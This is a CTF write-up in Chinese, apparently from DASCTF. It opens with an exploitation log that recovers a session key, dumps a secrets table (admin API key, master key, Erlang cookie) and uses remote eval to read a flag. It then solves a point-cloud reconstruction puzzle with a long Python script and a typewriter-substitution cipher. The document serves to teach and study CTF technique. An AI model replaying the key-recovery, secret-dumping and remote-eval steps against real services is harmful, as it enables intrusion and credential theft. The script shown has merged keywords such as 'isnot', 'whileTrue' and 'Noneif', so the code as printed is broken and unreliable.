admin_api_key Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0
auth {"token":"3bd5a1a990e4c7380c3f884a512819e4","role":"admin"}
handshake {"protocol":"FPX/1.0","session_id":"f3e6ae1be565ac8b","nonce_hint":"69bd001e...????????????????????????"}
nonce_hint 69bd001e...????????????????????????
crc_probe 400 {"error":"Frame decode error: CRC mismatch: expected C071, got 0"}
key[00] 69 expected=22C0
key[01] bd expected=2112
key[02] 00 expected=F1A0
key[03] 1e expected=B0C4
key[04] 68 expected=ACB1
key[05] a5 expected=0F9F
key[06] 3e expected=740F
key[07] 1e expected=FCF5
key[08] 08 expected=446C
key[09] 66 expected=43CB
key[10] 93 expected=39BF
key[11] 19 expected=3DB2
key[12] 4b expected=83FD
key[13] e1 expected=C8C1
key[14] 4e expected=3448
key[15] d2 expected=5D8C
key_repeat 69 ok
recovered_key 69bd001e68a53e1e086693194be14ed2
ets_names [':httpc_manager__session_db', ':pipeline_secrets', ':session_store', ':fpx_sessions', ':rate_limits', ':debug_tokens']
node_info 200 {"command":"node_info","node":"fluxpipe@127.0.0.1","connected_nodes":[],"cookie_hash":"c3cabb6f36189ec6f94ebfb6f2337541","epmd_names":[{"name":"fluxpipe","port":44519}]}
pipeline_secrets 200 {"command":"read_ets","table":"pipeline_secrets","entries":[["\"fpx_master_key\"","<<105, 189, 0, 30, 104, 165, 62, 30, 8, 102, 147, 25, 75, 225, 78, 210, 84, 214, 131, 206, 98, 89, 25, 35, 2, 185, 122, 250, 105, 63, 121, 246>>"],["\"admin_api_key\"","\"Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0\""],["\"erlang_cookie\"","\"NNRFieuvanJbGUVOV7veaiMiFLPa6mle\""]]}
erlang_cookie NNRFieuvanJbGUVOV7veaiMiFLPa6mle
eval 200 {"command":"eval","result":"{[\"root\", \"lib64\", \"sbin\", \"tmp\", \"bin\", \"dev\", \"media\", \"sys\", \"home\", \"etc\", \"lib\", \"run\", \"proc\", \"boot\", \"var\", \"usr\", \"mnt\", \"opt\", \"srv\", \"readflag\", \"flag.txt\", \".dockerenv\", \"start.sh\", \"readflag.c\", \"app\"], \"DASCTF{54503867645671680447712158825207}\\n\"}"}
flag DASCTF{54503867645671680447712158825207}

MISC

Chronos-Vault（时空金库）

核心思路：复原 HexPlane 形变网络，用分层点云的平面性定位六个共振时刻，再通过方向球谐颜色恢复观察位置，将六张文字条展平拼接。

1. 题目说明

题目提示为：

时间与视角皆被抹去的四维星尘中，唯有寻回失落的共振时刻与交汇视线，方能令光影在混沌中雕琢出封存的铭文。

目标是从本地附件恢复封存的铭文，即 Flag。本题不涉及远程实例或交互提交。原始目录是 C:\Users\34645\Downloads\chronos_vault_handout，其中的两个二进制文件是最终脚本的全部输入，分析过程没有修改原始附件。

point_cloud.ply 的 SHA-256 为：

bd61be5796da05c032758f894a99985faa10cf3c4efd6cd71e1b3064ab76b163

deformation.pth 的 SHA-256 为：

981360a0d0edf5af2e8802d087202720a49da2d585d95215cd9d395077590af1

2. 解题思路

PLY 不只是普通坐标点云，还包含 Gaussian Splatting 使用的球谐颜色、不透明度、尺度和旋转。配合 checkpoint 中的 HexPlane 与 deformation 网络，可以判断时间会同时改变位置和方向颜色。

直接选一个时刻渲染不能读出结果。有效路线是先把高不透明度点分成六组，再利用每组内部七个独立点层，在正确时间会还原成规则平面网格这一性质定位时间。时间确定后，求使背景 RGB 接近零、颜色基本处于有效范围的相机位置。最后把文字层投影回二维整数网格，按可读字符恢复方向并拼接。

这里必须区分两个结构：六个大组对应六条文字片段；每组的七个小连通分量是同一片段的不同厚度层，不能误当成七个字符横向拼接。

3. 解题过程

3.1 识别 PLY 字段并剔除干扰点

PLY 为 little-endian float32，包含 80,000 个顶点，每点 62 个字段。按文件字段顺序，可划分为：

0:3    xyz
3:6    normal
6:9    f_dc（0 阶 SH，RGB 三通道）
9:54   f_rest（其余 15 个 SH 系数，按颜色通道存放）
54:55  opacity logit
55:58  log scale
58:62  quaternion

尤其要注意 f_rest 不能直接当作 (N,15,3)。正确的 SH 系数排列为：

sh = np.concatenate([
    block[:, 6:9, None],
    block[:, 9:54].reshape(-1, 3, 15)
], axis=2).transpose(0, 2, 1)

以原始 opacity logit > 8 筛选，恰好留下 70,560 个点；其余 9,440 个点作为干扰点排除。保留点的原始 z 坐标分布在约 -5,-3,-1,1,3,5 六个高度，每组恰为 11,760 点。

3.2 复原 checkpoint 的形变前向

checkpoint 是含张量的 PyTorch ZIP。脚本通过 pickletools 解释有限的张量记录，从 ZIP 中读取 float32 storage，不调用任意 pickle reducer，也无需导入 PyTorch。

位置归一化要遵循文件中的 AABB 顺序。文件给出上界在前、下界在后，代入原公式后本题归一化坐标实际是 -xyz/6，不能凭经验改成 xyz/6。

每一层 HexPlane 按 xy,xz,xt,yz,yt,zt 六个平面采样，同层六个结果相乘，再拼接两个分辨率层。双线性采样使用 border padding 和 align_corners=True。时间直接输入 t；这里并没有额外执行 (t+1)/2。

第一层线性权重的输入宽度是 96，而两个空间层合计输出 32 维，因此输入编码是：

[f, sin(2f), cos(2f)]

真实点的 empty-voxel mask 恰为 0.5。实际采用的两个必要输出契约为：

p(t) = p_original * mask + position_head(hidden(t))
SH(t) = SH_original * mask + sh_head(hidden(t)).reshape(16,3)

丢掉 mask、写错 SH 排列或改变时间范围，都会破坏后面的几何与颜色约束。尺度、旋转等参数在完整渲染中可使用，但最终取证路线只需位置和 SH，因此不必安装 GPU rasterizer。

3.3 通过七层规则平面恢复共振时间

对每组建立 4 近邻无向图，得到七个连通分量，每个恰为 1,680 点。这个分解在原始坐标下也成立，可以固定原始点的成员关系，避免在时间扫描时反复匹配。

令某层在时间 t 的位置协方差特征值为：

lambda_0(t) <= lambda_1(t) <= lambda_2(t)

定义该大组的平面性目标为七层平均值：

L_plane(t) = mean_layer[lambda_0(t) / (lambda_0(t)+lambda_1(t)+lambda_2(t))]

平面层的最小特征值应接近零。先在 [-1,1] 以 401 个点扫描，再对局部最小值用 minimize_scalar 精化，得到：

在这些时刻，每层还原成 60×28 的笛卡尔网格，步长约为 0.006333333。这既给出了展平方法，也提供了独立于颜色的时间验证。七层是沿法向叠放的同一文字图案：端面为实心文字，部分内部层为轮廓。

3.4 利用未截断 SH 颜色恢复相机

对相机位置 c，方向应取从相机到点：

d_i = (p_i(t)-c) / ||p_i(t)-c||
RGB_i = SH_degree3(SH_i(t), d_i) + 0.5

拟合时保留未截断的 RGB。如果先把负数 clamp 成零，会丢掉最有用的误差信号。

初步使用颜色越界损失：

L_bounds = mean(min(RGB,0)^2 + max(RGB-1,0)^2)

每组独立优化局部相机，随后选出接近黑色的背景点，以这些点的 RGB=0 残差联合边界残差精化相机。前景本身存在颜色渐变，所以“所有 RGB 完全共线”不能作为最终精确约束。

实际用每组全部 11,760 点验证，结果为：

相机位置负责恢复每个点的正确颜色。随后可以直接展平点层，无需再依赖透视渲染中层与层的遮挡。

3.5 展平端面并拼接铭文

选一个外侧实心层，以 PCA 的两个面内主轴获得二维坐标。将跨度分别映射到 0…59 和 0…27 后四舍五入，检查 1,680 个像素恰好全部占满且没有重复。六组的整数格最大偏差均小于 0.001 格，最大仿射位置残差约为 5.3e-6。

PCA 特征向量的正负号没有固定语义，因此需要按照可读字形确定水平与竖直方向。原始展平结果中组 3 要垂直翻转，组 5 要水平翻转。六片的拼接顺序为：

3 -> 0 -> 5 -> 1 -> 4 -> 2

这些切片的边界会切开字形，不能把每片当作独立字符串 OCR 后直接连接。拼接完整的 360×28 像素画布后再读文本，可排除边缘半个字符造成的误读。

最终关键字形单独复核：中间是单个 @，具有完整外环、内部 a 与右侧尾部；末段是数字 9，不是小写 g。数字 9 的纵向范围为 y=3…19，而开头 flag 中的小写 g 为 y=8…24，存在明显下行部分。DGS 及 iS 中的 S 为大写。

4. 完整解题脚本

下面是实际运行的独立脚本，只需原始 PLY 和 PTH。脚本内保存的是本次计算恢复的六组时间与相机数值，未预置或打印 Flag。默认按这些已恢复的数值重建图像；添加 --search-times 可重新执行平面性时间搜索。相机数值的求解目标及全点验证已在前文给出。脚本不依赖分析阶段的 NPZ、JSON、辅助 Python 模块或 GPU 环境。

"""Reconstruct Chronos-Vault from its original PLY and tensor-only checkpoint.

The time/camera constants are recovered numerical parameters, not flag text.
Use --search-times to independently repeat the geometric time search.
"""
import argparse
import collections
import hashlib
import json
import pickletools
import zipfile
from itertools import combinations
from pathlib import Path

import numpy as np
from PIL import Image
from scipy.ndimage import map_coordinates
from scipy.optimize import minimize_scalar
from scipy.sparse import coo_matrix
from scipy.sparse.csgraph import connected_components
from scipy.spatial import cKDTree


PARAMETERS = [
    (-0.4186500851498066, [-0.5738456551291333, 0.11385993146713726, -0.31164261154410733]),
    (0.2194289871427376, [-0.2125238133229799, -0.35885956580099576, 0.39469685269097843]),
    (0.8472614105188698, [-0.1902261875606545, 0.3005070376061591, -0.08900726615595725]),
    (-0.7341192874770447, [0.20213176979195197, -0.1764073857418197, 0.11227593269300383]),
    (0.5317841976226505, [0.4614509942587311, -0.1897537509598017, -0.06108546936232362]),
    (-0.10633948370011866, [0.11910346448233407, 0.6497997801698581, -0.10401627443163894]),
]
# Eigenvector signs are arbitrary; these anchors put the letters upright.
RIGHT = [[0, 1, 0], [-1, 0, 0], [0, -1, 0], [0, 0, 1], [0, 0, 1], [0, 1, 0]]
DOWN = [[0, 0, 1], [0, 1, 0], [1, 0, 0], [-1, 0, 0], [0, 1, 0], [1, 0, 0]]
ORDER = [3, 0, 5, 1, 4, 2]
PAIRS = list(combinations(range(4), 2))


def load_state(path):
    """Interpret allowlisted tensor pickle records without invoking reducers."""
    allowed = {"collections OrderedDict", "torch._utils _rebuild_tensor_v2", "torch FloatStorage"}
    mark, stack, memo = object(), [], {}
    with zipfile.ZipFile(path) as archive:
        key = next(k for k in archive.namelist() if k.endswith("/data.pkl"))
        prefix = key[:-8]

        def marked():
            i = len(stack) - 1
            while stack[i] isnot mark:
                i -= 1
            values = stack[i + 1:]
            del stack[i:]
            return values

        for op, arg, _ in pickletools.genops(archive.read(key)):
            name = op.name
            if name in ("PROTO", "FRAME"):
                pass
            elif name == "GLOBAL":
                if arg notin allowed:
                    raise ValueError((name, arg))
                stack.append(("global", arg))
            elif name in ("BINPUT", "LONG_BINPUT", "PUT"):
                memo[int(arg)] = stack[-1]
            elif name in ("BINGET", "LONG_BINGET", "GET"):
                stack.append(memo[int(arg)])
            elif name == "MEMOIZE":
                memo[len(memo)] = stack[-1]
            elif name in ("BINUNICODE", "SHORT_BINUNICODE", "UNICODE", "BININT", "BININT1",
                          "BININT2", "INT", "LONG", "LONG1", "LONG4", "BINFLOAT", "FLOAT"):
                stack.append(arg)
            elif name in ("NEWFALSE", "NEWTRUE", "NONE"):
                stack.append({"NEWFALSE": False, "NEWTRUE": True, "NONE": None}[name])
            elif name == "MARK":
                stack.append(mark)
            elif name in ("EMPTY_TUPLE", "EMPTY_DICT", "EMPTY_LIST"):
                stack.append({"EMPTY_TUPLE": tuple, "EMPTY_DICT": dict, "EMPTY_LIST": list}[name]())
            elif name == "TUPLE":
                stack.append(tuple(marked()))
            elif name in ("TUPLE1", "TUPLE2", "TUPLE3"):
                count = int(name[-1])
                values = tuple(stack[-count:])
                del stack[-count:]
                stack.append(values)
            elif name == "BINPERSID":
                pid = stack.pop()
                assert pid[0] == "storage"and pid[1] == ("global", "torch FloatStorage")
                stack.append(("storage", pid[2], pid[4]))
            elif name == "REDUCE":
                args, func = stack.pop(), stack.pop()
                if func == ("global", "collections OrderedDict"):
                    assertnot args
                    value = collections.OrderedDict()
                elif func == ("global", "torch._utils _rebuild_tensor_v2"):
                    storage, offset, shape, stride, *_ = args
                    assert storage[0] == "storage"and offset >= 0
                    assert all(s >= 0for s in shape) and all(s >= 0for s in stride)
                    raw = np.frombuffer(archive.read(prefix + "data/" + storage[1]), dtype="<f4")
                    assert len(raw) == storage[2]
                    assert offset + sum((s - 1) * r for s, r in zip(shape, stride)) < len(raw)
                    value = np.lib.stride_tricks.as_strided(raw[offset:], shape=shape,
                        strides=tuple(r * 4for r in stride), writeable=False)
                else:
                    raise ValueError(func)
                stack.append(value)
            elif name == "SETITEM":
                value, key = stack.pop(), stack.pop()
                stack[-1][key] = value
            elif name == "SETITEMS":
                values = marked()
                stack[-1].update(zip(values[::2], values[1::2]))
            elif name == "BUILD":
                metadata = stack.pop()
                assert isinstance(stack[-1], collections.OrderedDict) and set(metadata) == {"_metadata"}
            elif name == "STOP":
                return stack[-1]
            else:
                raise ValueError(name)
    raise ValueError("Missing pickle STOP")


def load_ply(path):
    with path.open("rb") as stream:
        assert stream.readline().strip() == b"ply"
        count, properties = None, []
        whileTrue:
            line = stream.readline().decode("ascii").strip()
            if line.startswith("format "):
                assert line == "format binary_little_endian 1.0"
            elif line.startswith("element vertex "):
                count = int(line.split()[-1])
            elif line.startswith("property "):
                _, kind, key = line.split()
                assert kind == "float"
                properties.append(key)
            elif line == "end_header":
                break
            elifnot line:
                raise ValueError("Incomplete PLY header")
        data = np.fromfile(stream, dtype="<f4", count=count * len(properties))
    assert len(properties) == 62
    return data.reshape(count, len(properties))


def sample_plane(grid, coords):
    a = grid[0]
    _, height, width = a.shape
    x = np.clip((coords[:, 0] + 1) * np.float32((width - 1) / 2), 0, width - 1)
    y = np.clip((coords[:, 1] + 1) * np.float32((height - 1) / 2), 0, height - 1)
    x0, y0 = x.astype(int), y.astype(int)
    x1, y1 = np.minimum(x0 + 1, width - 1), np.minimum(y0 + 1, height - 1)
    wx, wy = (x - x0)[:, None], (y - y0)[:, None]
    value = (a[:, y0, x0].T * (1 - wx) + a[:, y0, x1].T * wx) * (1 - wy)
    value += (a[:, y1, x0].T * (1 - wx) + a[:, y1, x1].T * wx) * wy
    return value.astype(np.float32)


class Model:
    def __init__(self, path):
        self.state = load_state(path)
        self.prefix = "deformation_net."

    def linear(self, x, key):
        key = self.prefix + key
        return x @ self.state[key + ".weight"].T + self.state[key + ".bias"]

    def prepare(self, xyz):
        aabb = self.state[self.prefix + "grid.aabb"]
        normalized = (xyz - aabb[0]) * (np.float32(2) / (aabb[1] - aabb[0])) - 1
        key = self.prefix + "empty_voxel."
        grid = self.state[key + "grid"][0, 0]
        coords = (xyz - self.state[key + "xyz_min"]) / (self.state[key + "xyz_max"] - self.state[key + "xyz_min"])
        coords *= np.asarray(grid.shape, dtype=np.float32) - 1
        mask = map_coordinates(grid, coords.T, order=1, mode="grid-constant", cval=0, prefilter=False)[:, None]
        levels = []
        for level in range(2):
            planes = [self.state[self.prefix + f"grid.grids.{level}.{i}"] for i in range(6)]
            spatial = np.ones((len(xyz), 16), np.float32)
            for i in [0, 1, 3]:
                spatial *= sample_plane(planes[i], normalized[:, PAIRS[i]])
            levels.append((planes, spatial))
        return xyz, normalized, mask, levels

    def evaluate(self, prepared, time, sh=None):
        xyz, normalized, mask, levels = prepared
        coords = np.column_stack([normalized, np.full(len(xyz), time, np.float32)])
        features = []
        for planes, spatial in levels:
            value = spatial.copy()
            for i in [2, 4, 5]:
                value *= sample_plane(planes[i], coords[:, PAIRS[i]])
            features.append(value)
        f = np.concatenate(features, axis=1)
        h = self.linear(np.concatenate([f, np.sin(2 * f), np.cos(2 * f)], axis=1), "feature_out.0")
        h = self.linear(np.maximum(h, 0), "feature_out.2")
        h = self.linear(np.maximum(h, 0), "feature_out.4")

        def head(name):
            value = self.linear(np.maximum(h, 0), name + "_deform.1")
            return self.linear(np.maximum(value, 0), name + "_deform.3")

        points = xyz * mask + head("pos")
        colors = Noneif sh isNoneelse sh * mask[:, :, None] + head("shs").reshape(-1, 16, 3)
        return points, colors


def sh_basis(dirs):
    x, y, z = dirs.T
    xx, yy, zz, xy, yz, xz = x*x, y*y, z*z, x*y, y*z, x*z
    return np.column_stack([
        np.full_like(x, 0.28209479177387814), -0.4886025119029199*y,
        0.4886025119029199*z, -0.4886025119029199*x,
        1.0925484305920792*xy, -1.0925484305920792*yz,
        0.31539156525252005*(2*zz-xx-yy), -1.0925484305920792*xz,
        0.5462742152960396*(xx-yy), -0.5900435899266435*y*(3*xx-yy),
        2.890611442640554*xy*z, -0.4570457994644658*y*(4*zz-xx-yy),
        0.3731763325901154*z*(2*zz-3*xx-3*yy),
        -0.4570457994644658*x*(4*zz-xx-yy), 1.445305721320277*z*(xx-yy),
        -0.5900435899266435*x*(xx-3*yy)])


def split_layers(points):
    nn = cKDTree(points).query(points, k=5)[1][:, 1:]
    graph = coo_matrix((np.ones(len(points)*4),
                      (np.repeat(np.arange(len(points)), 4), nn.ravel())),
                      shape=(len(points), len(points))).tocsr()
    count, labels = connected_components(graph, directed=False)
    assert count == 7and np.all(np.bincount(labels) == 1680)
    return labels


def search_time(model, points, labels):
    rng = np.random.default_rng(20261024)
    chosen = np.concatenate([rng.choice(np.flatnonzero(labels == i), 64, replace=False) for i in range(7)])
    prepared = model.prepare(points[chosen])

    def loss(time):
        dynamic, _ = model.evaluate(prepared, time)
        values = []
        for i in range(7):
            eig = np.linalg.eigvalsh(np.cov(dynamic[i*64:(i+1)*64].T))
            values.append(eig[0] / eig.sum())
        return float(np.mean(values))

    times = np.linspace(-1, 1, 401)
    losses = np.asarray([loss(t) for t in times])
    minima = [i for i in range(1, 400) if losses[i] < min(losses[i-1], losses[i+1])]
    fits = [minimize_scalar(loss, bounds=(times[i-1], times[i+1]), method="bounded",
                           options={"xatol": 2e-8}) for i in sorted(minima, key=lambda j: losses[j])[:10]]
    result = min(fits, key=lambda f: f.fun)
    return float(result.x), float(result.fun)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("input", type=Path, help="Directory containing point_cloud.ply and deformation.pth")
    parser.add_argument("--out", type=Path, default=Path("recovered"))
    parser.add_argument("--search-times", action="store_true")
    args = parser.parse_args()
    args.out.mkdir(parents=True, exist_ok=True)
    cloud = load_ply(args.input / "point_cloud.ply")
    model = Model(args.input / "deformation.pth")
    real = cloud[:, 54] > 8
    assert real.sum() == 70560
    bands = np.digitize(cloud[:, 2], [-4, -2, 0, 2, 4])
    strips, report = {}, []
    for group in range(6):
        block = cloud[real & (bands == group)]
        assert len(block) == 11760
        labels = split_layers(block[:, :3])
        time, camera = PARAMETERS[group]
        time_loss = None
        if args.search_times:
            time, time_loss = search_time(model, block[:, :3], labels)
        sh = np.concatenate([block[:, 6:9, None], block[:, 9:54].reshape(-1, 3, 15)], axis=2).transpose(0, 2, 1)
        points, sh = model.evaluate(model.prepare(block[:, :3]), time, sh)
        rays = points - np.asarray(camera)
        rays /= np.linalg.norm(rays, axis=1)[:, None]
        rgb = np.einsum("nk,nkc->nc", sh_basis(rays), sh) + 0.5
        bounds = np.minimum(rgb, 0) + np.maximum(rgb - 1, 0)
        centers = np.asarray([points[labels == i].mean(0) for i in range(7)])
        _, axes = np.linalg.eigh(np.cov(centers.T))
        outer = np.argmin(centers @ axes[:, -1])
        selected = labels == outer
        p, color = points[selected], rgb[selected]
        _, axes = np.linalg.eigh(np.cov(p.T))
        axes = axes[:, [2, 1]]
        for axis, anchor in enumerate([RIGHT[group], DOWN[group]]):
            if axes[:, axis] @ anchor < 0:
                axes[:, axis] *= -1
        uv = (p - p.mean(0)) @ axes
        uv = (uv - uv.min(0)) / np.ptp(uv, axis=0) * [59, 27]
        lattice = np.rint(uv).astype(int)
        assert len(np.unique(lattice, axis=0)) == 1680
        assert np.max(abs(uv - lattice)) < 0.01
        image = np.zeros((28, 60, 3))
        image[lattice[:, 1], lattice[:, 0]] = color
        strips[group] = image
        design = np.column_stack([np.ones(len(lattice)), lattice])
        fit = np.linalg.lstsq(design, p, rcond=None)[0]
        affine_error = np.linalg.norm(design @ fit - p, axis=1)
        result = dict(group=group, time=time, camera=camera, grid=[60, 28],
                      time_loss=time_loss, bounds_mse=float(np.mean(bounds**2)),
                      lattice_max_error=float(np.max(abs(uv-lattice))),
                      affine_max_error=float(affine_error.max()))
        report.append(result)
        print(json.dumps(result), flush=True)
    combined = np.concatenate([strips[group] for group in ORDER], axis=1)
    for name, data in [("color", np.uint8(np.clip(combined*255, 0, 255))),
                       ("bw", np.uint8(combined.max(axis=2) > 0.1)*255)]:
        Image.fromarray(data).resize((2880, 224), Image.Resampling.NEAREST).save(args.out / f"chronos_{name}.png")
    inputs = {name: hashlib.sha256((args.input / name).read_bytes()).hexdigest()
              for name in ["point_cloud.ply", "deformation.pth"]}
    (args.out / "report.json").write_text(json.dumps(dict(inputs=inputs, order=ORDER, groups=report), indent=2))
    print("Read the recovered inscription from", (args.out / "chronos_bw.png").resolve())


if __name__ == "__main__":
    main()

Jammed

核心思路： 将两张记录看作 Selectric 字球在两种卡位状态下的输出，利用一张保留的行号高位和另一张保留的行号低位，恢复原始字符；再按序号连接片段，得到密码并解开 ZIP。

1. 题目说明

题目给出的场景与规则如下：

1984 年冬，一台 Correcting Selectric II 被送回国内检修。
箱内留下两张记录，据说里面藏着宝藏的密码。

原始条目格式为 两位序号/五位流水码/两位片段，序号从 01 至 24，其余字段只含小写字母和数字。
按原始序号直接连接末尾片段即为压缩包密码，密码 SHA-256 见附件。

目标是从两张记录恢复 24 个两字符片段，按 01 至 24 顺序拼成 48 字符密码，再解密 treasure.zip。题目提供的是本地图片和压缩包，没有远程交互步骤。

page1.png 的标题是 BENCH RECORD A。按图片上的行序转录如下：

xl/xbxey//-
xk/yxfgd/ke
xh//qpb-/cb
hl/cdbbx/hu
hu/ckbnq/-x
nh/clntx/px
xb/fxnh//n,
nx/g;cxj/uu
hk/hdjdu/xq
hc/eyhef/ef
xn/y;fcg/,p
xu/htybl/ju
xd/jxty-/qn
hn/h//;g/,x
xx//ck/g/xq
hx/l;tb-/-g
xe/puygc/hu
hd/bxkgl/ek
nn/fl,uf/ln
nu/ppyhg/cd
xc/ny-nn/;h
hb/cqlxy/qc
nl/x;hxp/cl
he/qeghg/xb

page2.png 的标题是 BENCH RECORD B。结合下文的列位置约束区分小写字母 l 与数字 1 后，转录结果为：

01ll7z99l91
16l013x7lk5
13lhthb4lt3
14l19xehl49
06lhdt7ul16
05l6exhxlx9
04l8db91l03
11l4c64xl16
10l46e99l89
12l07uc1l8e
02l0447xl81
08le0h5ul5u
19l3x204l28
18l2h92nl70
21lx78xtl3u
24lx70xelc4
22lu483ull2
15le3018l03
07l91k1llek
23lee0h1l8d
17lt1zh9l62
09lc6l1hlk8
03lckbnkl91
20lclntxle1

题目格式决定每行长度固定为 11。采用从 0 开始的字符索引，序号占 0:2，两个分隔符在位置 2、8，流水码占 3:8，末尾片段占 9:11。

sha256.txt 中给出的密码哈希为：

cfde9ebf5fb607b0c8d54abd707fa622fd8a246032d8b06d528e684f6238dcab

本次实际使用的 treasure.zip 长度为 235 字节，其文件本身的 SHA-256 为：

d8e7c9d92ff6801ace0431f4c514aad20ab989041c31ced600b5215bdc32e2a6

完整脚本内嵌了这 235 字节的 Base64，方便脱离本地路径复现。图片中的全部必要文本也已写在正文和脚本中。

2. 解题思路

题目特意指定 Correcting Selectric II，标题又是 “Jammed”，自然需要检查打字机构的卡位是否导致字符替换。Selectric 使用字球，通过倾斜与旋转选择字符，因此应查看字球上的物理字符排列。

查阅 Selectric Typeballs 的字符表 和 Selectric Rescue 的字球模型，可以得到相互一致的 88 字符字球小写半球排列。用它为每个字符标记行、列后，可以观察到：

1. A 的所有字符都落在第 1、3 行，B 的所有字符都落在第 0、1 行。
2. 依据已知序号和固定分隔符，可以建立 A、B 的行号变换。
3. 两张记录中对应字符的列位置保持一致，但保留下来的行号信息不同，可以互补恢复。
4. 将恢复出的记录按序号排序，连接片段得到密码，随后用 ZIP 解密与认证检验结果。

解出的密码与附件声称的 SHA-256 不一致，但能够解密原 ZIP，并通过 WinZip AES 完整性认证；得到的 Flag 也已获用户确认。下文保留这一差异，不将错误哈希写成验证通过。

3. 解题过程

3.1 用物理字球排列为字符建立坐标

将小写半球的四个物理行自上而下编号为 r = 0, 1, 2, 3，每行的列从左到右编号为 k = 0 … 10：

列 k     0  1  2  3  4  5  6  7  8  9 10
行 r=0   1  3  7  8  4  z  2  5  6  0  9
行 r=1   x  u  d  c  l  t  n  e  k  h  b
行 r=2   m  v  r  a  o  ½  .  '  i  s  w
行 r=3   g  f  ;  ,  /  j  =  p  q  y  -

这里展示的是字球上的物理排列，而不是键盘布局。题目只使用小写字母、数字及分隔符 /，所以用这半个字球即可覆盖所有原始字符。

按该表检查记录可知，A 只使用了第 1、3 行的字符，B 只使用了第 0、1 行的字符。它们不是任意替换：在按序号对齐后，每一对输出字符都位于同一列，变化发生在行方向。

3.2 从数字与分隔符推导两种卡位变换

原始序号必为 01 … 24，其中数字全在第 0 行。B 的前两位仍然是数字；A 的序号则变为 hx、hn 等字母。

若 A 将第 0 行移到同列的第 1 行，会得到下面的数字映射：

原始数字：0 1 2 3 4 5 6 7 8 9
A 中字形：h x n u l e k d c b

例如，hx 对应 01，xl 对应 14，nl 对应 24。用该映射解开 A 的前两位，恰好可以得到完整的 24 个序号。

再检查固定分隔符。原始 / 的坐标为 (3, 4)；A 的位置 2、8 仍为 /，B 的这两个位置则都变成 l，而 l 的坐标为 (1, 4)。

由这两个已知条件，可以建立“单个行选择位被固定”的模型。把行索引写成两位二进制，A 的输出等效于最低位固定为 1，B 的输出等效于最高位固定为 0：

row_a = original_row | 1
row_b = original_row & 1

四种原始行在该模型下的输出为：